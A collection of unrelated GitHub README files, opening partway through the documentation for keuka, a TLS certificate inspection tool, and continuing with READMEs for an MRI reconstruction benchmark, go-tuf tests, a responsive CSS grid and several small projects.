`keuka -mA google.com`

```
--- [0.000013s] Establishing SSL context.
--- [0.000330s] SSL context established.
--> [0.001227s] Establishing connection to google.com.
<-- [0.001262s] Connection established.
--- [0.001360s] Attaching SSL session to socket.
--- [0.001373s] SSL session attached to socket.
--> [0.001373s] Initiating handshake with google.com.
<-- [0.003505s] Handshake complete.

--- Method: TLSv1.2
--- Signature Algorithm: sha256WithRSAEncryption
```

### Advanced Usage

`keuka` was built to make extracting key and certificate information simple.
Likewise, it can be used with tools such as `sed`, `grep`, and `cut` to fulfill
a variety of tasks. Below are a few examples of advanced usage.

#### Get cipher.

`keuka -qC amazon.com | cut -d' ' -f3`

```
ECDHE-RSA-AES128-GCM-SHA256
```

#### Get certificate expiration date.

`keuka -qV www.ietf.org | tail -n +3 | sed 's/   --- Not After: //g' | awk '{$1=$1};1'`

```
Aug 11 23:12:50 2018 GMT
```

#### Get Common Name from certificate subject.

`keuka -qs www.github.com | sed 's/--- Subject: //g' | tr "," "\n" | tail -1`

```
CN=github.com
```

#### Get public key and certificate, and split into separate files.[2](#notes)

`keuka -qr www.gnu.org | split -p '-----BEGIN CERTIFICATE-----' - keuka-`

```
# -rw-r--r--  1 nickolasburr staff   453 Nov 11 14:24 keuka-aa

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvvqMJ98hjHN7HyNq8oxL
RomE+O2rbIBsdxhUxNAbj+F03WTZUG7xz9hdUHxr+1oTG2eBp0+n9LRIDEw5dkx2
bfKHZioxiwUEPNEQr8QErudFfsmR5+SKBmPMjk1njmnRkZErFGWB9FMGFIo8C9AM
1gOHr1caJUw4auTDZMhchL7gOPZVGTqe21qVCZzT/CjRUN/wzGSVON2depTYXn41
yKSMXN0lJZj6PQwSuhfjv0NsASBOY9bWlTeduFKB49VvFVY8TTajvr7ZZL6Ripxh
pmdtcsU+7uAnE68NoFvq9lgbHSg/Syzf1Vv1oPCx/lrrisEbJN6OgNzryDecz3R9
3QIDAQAB
-----END PUBLIC KEY-----
```

```
# -rw-r--r--  1 nickolasburr staff   453 Nov 11 14:24 keuka-ab

-----BEGIN CERTIFICATE-----
MIIFZDCCBEygAwIBAgISBNXbPUD6rMaOsLBxiFF8CFjBMA0GCSqGSIb3DQEBCwUA
MEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQD
ExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0xNzA5MjcwOTAxMDBaFw0x
NzEyMjYwOTAxMDBaMBIxEDAOBgNVBAMTB2dudS5vcmcwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQC++own3yGMc3sfI2ryjEtGiYT47atsgGx3GFTE0BuP
4XTdZNlQbvHP2F1QfGv7WhMbZ4GnT6f0tEgMTDl2THZt8odmKjGLBQQ80RCvxASu
50V+yZHn5IoGY8yOTWeOadGRkSsUZYH0UwYUijwL0AzWA4evVxolTDhq5MNkyFyE
vuA49lUZOp7bWpUJnNP8KNFQ3/DMZJU43Z16lNhefjXIpIxc3SUlmPo9DBK6F+O/
Q2wBIE5j1taVN524UoHj1W8VVjxNNqO+vtlkvpGKnGGmZ21yxT7u4CcTrw2gW+r2
WBsdKD9LLN/VW/Wg8LH+WuuKwRsk3o6A3OvIN5zPdH3dAgMBAAGjggJ6MIICdjAO
BgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwG
A1UdEwEB/wQCMAAwHQYDVR0OBBYEFGFxRfLUavp6y+CssYKH3vnIAcIiMB8GA1Ud
IwQYMBaAFKhKamMEfd265tE5t6ZFZe/zqOyhMG8GCCsGAQUFBwEBBGMwYTAuBggr
BgEFBQcwAYYiaHR0cDovL29jc3AuaW50LXgzLmxldHNlbmNyeXB0Lm9yZzAvBggr
BgEFBQcwAoYjaHR0cDovL2NlcnQuaW50LXgzLmxldHNlbmNyeXB0Lm9yZy8wgYQG
A1UdEQR9MHuCCWVtYWNzLm9yZ4IHZ251Lm9yZ4IMaHVyZC5nbnUub3Jnghh3d3cu
ZnJlZXNvZnR3YXJlLmZzZi5vcmeCC3d3dy5nbnUub3JnghB3d3cuaHVyZC5nbnUu
b3JnghB3d3cuaXB2Ni5nbnUub3Jnggx3d3c2LmdudS5vcmcwgf4GA1UdIASB9jCB
8zAIBgZngQwBAgEwgeYGCysGAQQBgt8TAQEBMIHWMCYGCCsGAQUFBwIBFhpodHRw
Oi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCBqwYIKwYBBQUHAgIwgZ4MgZtUaGlzIENl
cnRpZmljYXRlIG1heSBvbmx5IGJlIHJlbGllZCB1cG9uIGJ5IFJlbHlpbmcgUGFy
dGllcyBhbmQgb25seSBpbiBhY2NvcmRhbmNlIHdpdGggdGhlIENlcnRpZmljYXRl
IFBvbGljeSBmb3VuZCBhdCBodHRwczovL2xldHNlbmNyeXB0Lm9yZy9yZXBvc2l0
b3J5LzANBgkqhkiG9w0BAQsFAAOCAQEANJfoCZuo5apkn6Kncabwq7JoCsMFVrzk
72CpAqs8tVWZfYkbCnezEuESyWZfYA4vjiD+BOD+2jlcfeswamy5oDU8tCykp/+Q
1E4Wa7D14jb6zbgGj7h3z0EXYTx4l58t0PUjbZJbp7d2kf6/H4I7cCnmSf6kF2sN
bBlPN7x81vtmY/mA7bboMLU5ZtuhSW2d82o9/Uo1IY2o0X32ZBCdTKRvABN3urDQ
9e1txwfZyuJefgX2sZrv1QlmjI4jQwVPgMxwBK7asmxP8ZWkqGfnZokCX+iYOI0U
lx1MOd8y3HFI/j1nE7xZZMPLKtGGyBYZ+W1sXbpTx/7WQ+8uQcaYfA==
-----END CERTIFICATE-----
```

## Notes

1. Specifying `--chain` without complementary options shows `[redacted]` per certificate.
2. Assumes BSD split(1). For GNU split(1), use `--filter` instead.

## Troubleshooting

> dyld: Library not loaded: /usr/local/opt/openssl/lib/libssl.1.0.0.dylib

This is a known issue on macOS. The most common solution is to switch to an older version
of OpenSSL.

Using Homebrew, you can do the following:

```
brew switch openssl 1.0.2t
```

See [here](https://tinyurl.com/u2wtd4x) for more information.

repository: ZZMarquis/keuka

repo_name: ZZMarquis/keuka


text:
# Testing

The [Python interoperability tests](../client/python_interop/) require Python 3
(available as `python` on the `$PATH`) and the [`python-tuf`
package](https://github.com/theupdateframework/python-tuf) installed. To use the correct versions of the packages, it is recommended to use a [virtual environment](https://docs.python.org/3/library/venv.html#module-venv) and install the dependencies via:

```
python -m pip install --upgrade -r requirements-test.txt
```

You may run the full set of tests using
```
go test ./...
```

To update the data for these tests requires Docker and make (see
test data [README.md](../client/python_interop/testdata/README.md) for details).

repository: theupdateframework/go-tuf

repo_name: theupdateframework/go-tuf


text:
# fastMRI reproducible benchmark

[![GitHub Workflow Build Status](https://github.com/zaccharieramzi/fastmri-reproducible-benchmark/workflows/Continuous%20testing/badge.svg)](https://github.com/zaccharieramzi/fastmri-reproducible-benchmark/actions/workflows/test.yml?query=branch%3Amaster)
[![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/zaccharieramzi/fastmri-reproducible-benchmark/master)

The idea of this repository is to have a way to rapidly benchmark new solutions against existing reconstruction algorithms on the fastMRI dataset single-coil track.
The reconstruction algorithms implemented or adapted to the fastMRI dataset include to this day:
- zero filled reconstruction
- [LORAKS](https://www.ncbi.nlm.nih.gov/pubmed/24595341), using the [LORAKS Matlab toolbox](https://mr.usc.edu/download/LORAKS2/)
- Wavelet-based reconstruction (i.e. solving an L1-based analysis formulation optimisation problem with greedy FISTA), using [pysap-mri](https://github.com/CEA-COSMIC/pysap-mri)
- U-net
- [DeepCascade net](https://arxiv.org/abs/1704.02422)
- [KIKI net](https://www.ncbi.nlm.nih.gov/pubmed/29624729)
- [Learned Primal Dual](https://arxiv.org/abs/1707.06474), adapted to MRI reconstruction
- [XPDNet](https://arxiv.org/abs/2010.07290), a modular unrolled reconstruction algorithm, in which you can plug your best denoiser.
- [NCPDNet](https://arxiv.org/abs/2101.01570), an unrolled reconstruction algorithm for non-cartesian acquisitions, with density-compensation.

All the neural networks are implemented in TensorFlow with the Keras API.
The older ones (don't judge this was the beginning of my thesis) are coded using the functional API.
The more recent ones are coded in the subclassed API and are more modular.
For the LORAKS reconstruction, you will not be able to reconstruct the proper fastMRI data because of the A/D oversampling.

## Reconstruction settings

The main reconstruction settings are cartesian single-coil and multi-coil 2D reconstruction with random and "periodic sampling".
These settings are covered by almost all the networks in this repo, mainly because they are the settings of the fastMRI challenge.

### Other reconstruction settings

__Non-cartesian__: you can reconstruct non-cartesian data using the [NCPDNet](https://github.com/zaccharieramzi/fastmri-reproducible-benchmark/blob/master/fastmri_recon/models/subclassed_models/ncpdnet.py).
It relies on the TensorFlow implementation of the NUFFT, [`tfkbnufft`](https://github.com/zaccharieramzi/tfkbnufft).
This network will allow you to work on 2D single-coil and multi-coil data, as well as 3D single-coil data.

__Deep Image Prior__: you can also reconstruct non-cartesian data in an untrained fashion using the [DIP model](https://github.com/zaccharieramzi/fastmri-reproducible-benchmark/blob/master/fastmri_recon/evaluate/reconstruction/dip_reconstrution.py).
This idea originated from the [Deep Image Prior](https://dmitryulyanov.github.io/deep_image_prior) paper, and was later adapted to MRI reconstruction by different works ([Accelerated MRI with untrained Neural networks](https://arxiv.org/abs/2007.02471), [Time-Dependent Deep Image Prior for Dynamic MRI](https://arxiv.org/abs/1910.01684)).
It currently is only used for 2D non-cartesian data (primarily for computation time reasons), but you can extend it easily to 2D cartesian data and 3D (PRs welcome).

## How to train the neural networks
The scripts to train the neural networks are located in `fastmri_recon/training_scripts/`.
You just need to install the package and its dependencies:
```
pip install . &&\
pip install -r requirements.txt
```

## How to write a new neural network for reconstruction
The simplest and most versatile way to write a neural network for reconstruction is to subclass the [`CrossDomainNet` class](fastmri_recon/models/subclassed_models/cross_domain.py).
An example is the [`PDnet`](fastmri_recon/models/subclassed_models/pdnet.py)

## Reproducing the results of the paper
To reproduce the results of the paper for the fastMRI dataset, run the following script (here for the PD contrast):
```
python fastmri_recon/evaluate/scripts/paper_eval.py --contrast CORPD_FBK
```

To reproduce the results of the paper for the OASIS dataset, run the following script (here for less samples):
```
python fastmri_recon/evaluate/scripts/paper_eval_oasis.py --n-samples 100
```

Finally to reproduce the figures of the paper, you will need to use the [`qualitative_validation_for_net`](https://github.com/zaccharieramzi/fastmri-reproducible-benchmark/blob/master/experiments/qualitative_validation_for_net.ipynb) notebook.

# Data requirements

## fastMRI

The fastMRI data must be located in a directory whose path is stored in the `FASTMRI_DATA_DIR` environment variable.
It can be downloaded on [the official website](https://fastmri.med.nyu.edu/) after submitting a request (bottom of the page).

The package currently supports public single coil and multi coil knee data.

## OASIS

The OASIS data must be located in a directory whose path is stored in the `OASIS_DATA_DIR` environment variable.
It can be downloaded on [the XNAT store](https://central.xnat.org/app/template/Index.vm) after creating an account.
The project is OASIS3.

# Citation
This work will be presented at the International Symposium on Biomedical Imaging (ISBI) in April 2020.
An extended version has been published in MDPI Applied sciences.
If you use this package or parts of it, please cite one of the following work:
- [Benchmarking Deep Nets MRI Reconstruction Models on the FastMRI Publicly Available Dataset](https://hal.inria.fr/hal-02436223)
- [Benchmarking MRI Reconstruction Neural Networks on Large Public Datasets](https://www.mdpi.com/2076-3417/10/5/1816)
- [XPDNet for MRI Reconstruction: an Application to the fastMRI 2020 Brain Challenge](https://arxiv.org/abs/2010.07290)
- [Density Compensated Unrolled Networks for Non-Cartesian MRI Reconstruction](https://arxiv.org/abs/2101.01570)

## Applications
This package has been used to perform MRI reconstruction in the following projects (in addition to the ones mentioned above):
- [Is good old GRAPPA dead?](https://arxiv.org/abs/2106.00753)
- [Learning the sampling density in 2D SPARKLING MRI acquisition for optimized image reconstruction](https://arxiv.org/abs/2103.03559)
- [Denoising Score-Matching for Uncertainty Quantification in Inverse Problems](https://arxiv.org/abs/2011.08698)

repository: secrul/fastmri-reproducible-benchmark

repo_name: secrul/fastmri-reproducible-benchmark


text:
# Installation
```
npm install
gulp
```
open http://localhost:47/

# Task
Updated tasks files.

Task Completed and looks as follows:

![screenshot](https://raw.githubusercontent.com/jacobator/bsa-tooling-task/master/meta/page.png)


text:
DTAIDistance source code templates
==================================

There is a lot of repetitive code in the DTAIDistance toolbox that
is not easily dealt with in code (e.g. because the linking with C, because
variations are required for different techniques). Therefore, we
generate some methods from templates.

Instructions
------------

Run `make` in the `jinja` directory.

Dependencies
------------

We make use of the `jinja2` Python package to generate the source code files.

repository: wannesm/dtaidistance

gha_license_id: NOASSERTION

repo_name: wannesm/dtaidistance


text:
<!-- Do not edit this file. It is automatically generated by API Documenter. -->

[Home](./index.md) < [@vue/compiler-core](./compiler-core.md) < [locStub](./compiler-core.locstub.md)

## locStub variable

<b>Signature:</b>

```typescript
locStub: SourceLocation
```

repository: Handandbrainofking/vitepress-demo

repo_name: Handandbrainofking/vitepress-demo


text:
# video-fall-detection
OpenCv project to detect a person fall in videos with haarcascade

# Prerequesite
Packages used:
- python==2.7.7
- numpy==1.14.5
- opencv-python==<IP_ADDRESS>
- pylint==1.9.2
- scikit-learn==0.19.1

# How it works
For each frame readed of the video corverted into gray, is removed the background, finded the contour and drawed the contours.
If the heigh of the contour is lower than width, it may be a fall and we add 1 to a count, if the count is greater than 10, will be drawed a rectangle to the possible person fallen.

# How to contribute
To contribute to this project make the following guide:
- Fork this repository, It will create a copy of the repository into  your account.
- Clone the forked repository. (`git clone https://github.com/my-user/video-fall-detection.git`)
- Create your awesome code!
- Commit and push the changes.
- Create a pull request via Github. (Go to the forked repo and press the `Pull request` button)

Fell free to contribute ;)

repository: aswinkumarpm/video-fall-detection

repo_name: aswinkumarpm/video-fall-detection


text:
# Evaluation of Automated Breast Density Segmentation Software on Segmenting Digital Mammograms Acquired at Magee-Womens Hospital

**Introduction**

This research project was done during the Spring of 2016 with Dr. Shandong Wu [Lab Page](http://www.radiology.pitt.edu/profile-detail.html?profileID=906) as part of the University of Pittsburgh program [First Experiences in Research](https://www.asundergrad.pitt.edu/research/fer). The purpose of the project was to use Bioimaging Informatics techniques along with Machine Learning techniques such as Fuzzy C-means Clustering (FCM) and Support Vector Machine (SVM) Segmentation to ultimately improve breast cancer risk detection. This was using mammographic images and running them through software in a MatLab environment.

**Files**

`First Experiences in Research Symposium Poster.png`

This is the final poster that was presented at the research symposium for the First Experiences in Research (link above) program.

`Research Abstract.pdf`

This is the detailed version of the purpose behind the project and what was achieved in the final results.

**Publication**

The research done in this project was based off of the following [publication](https://aapm.onlinelibrary.wiley.com/doi/abs/10.1118/1.4736530).

**Contact Information**

![interests](https://avatars1.githubusercontent.com/u/38919947?s=400&u=49ab1365a14fac78a91e425efd583f7a2bcb3e25&v=4)

Yogindra Raghav (YogiOnBioinformatics)

<EMAIL_ADDRESS>


text:
responsive-grid
==========

A responsive grid system, written in Stylus, inspired by Bootstrap fluid grid.

## Install a default configured version

  Install with [component(1)](http://component.io):

    $ component install shallker/responsive-grid

## Quick Start
Get a copy of responsive-grid, import it and generate some semantice grids
```stylus
@import 'responsive-grid/stylus/index'

/* Default grid, for the browsers that don't support media query */
responsive-grid('desktop')

/* Tablet */
@media (max-width: 1020px)
  responsive-grid('tablet')

/* Mobile */
@media (max-width: 640px)
  responsive-grid('mobile')
```

Start using those grids in html
```html
<div class="row">
  <div class="desktop-3 tablet-6 mobile-12">
    <p>Section 1</p>
  </div>
  <div class="desktop-3 tablet-6 mobile-12">
    <p>Section 2</p>
  </div>
  <div class="desktop-3 tablet-6 mobile-12">
    <p>Section 3</p>
  </div>
  <div class="desktop-3 tablet-6 mobile-12">
    <p>Section 4</p>
  </div>
</div>
```

## Example
http://shallker.github.io/responsive-grid/test

## Todo

## License
MIT

repository: shallker/responsive-grid

repo_name: shallker/responsive-grid


text:
#Jacob cooked

Since this is the beginning of a story about something that happened one time, some translators may want to start it with a phrase like "One day, Jacob cooked" in a similar manner to the UDB.

#cooked some stew

"boiled some food" or "cooked some soup." This stew was made of boiled lentils. (See: [[:en:bible:notes:gen:25:31|25:34]])

#he was weak from hunger

"he was weak because he was very hungry" or "he was very hungry"

#I am exhausted

"I am weak from hunger" or "I am very hungry"

#Edom

Translators may add a footnote that says "The name Edom means 'red.'"


text:
# Frontend-Designs

This repository is meant to hold designs that I create or I find pictures of and decide to write in code.

## Projects

### Art

[CSS art desk](./CSS_art_desk)

### Landing Pages

[LandingPage Design Original 1](./LandingPage_Design_Original_1)

[LandingPage Design Original 2](./LandingPage_Design_Original_2)

### Login pages

[Login Design smartCard](./Login_Design_smartCard)

[Login Design freepik](./Login_Design_freepik)

[Login Design forestr](./Login_Design_forestr)

[Login Design FREEDOM](./Login_Design_FREEDOM)

[Login Design Original 1](./Login_Design_Original_1)

[Login Design Original 2](./Login_Design_Original_2)

repository: Stratis-Dermanoutsos/Frontend-Designs

repo_name: Stratis-Dermanoutsos/Frontend-Designs


text:
# CurlJson

## Usage
```
cd tools
./compile.sh
cd ../bin
./server
./client
```
client 输出：
```
{"age":18,"books":[{"name":"TCP/IP Illustrated, Volume 1"},{"name":"Advanced Programming in the UNIX Environment"}],"name":"Aland"}
{"languages":["C++","Golang","Python"],"name":"Aland"}
Name:Aland
Languages:
  C++
  Golang
  Python
```

repository: ctimbai/coding-demo

repo_name: ctimbai/coding-demo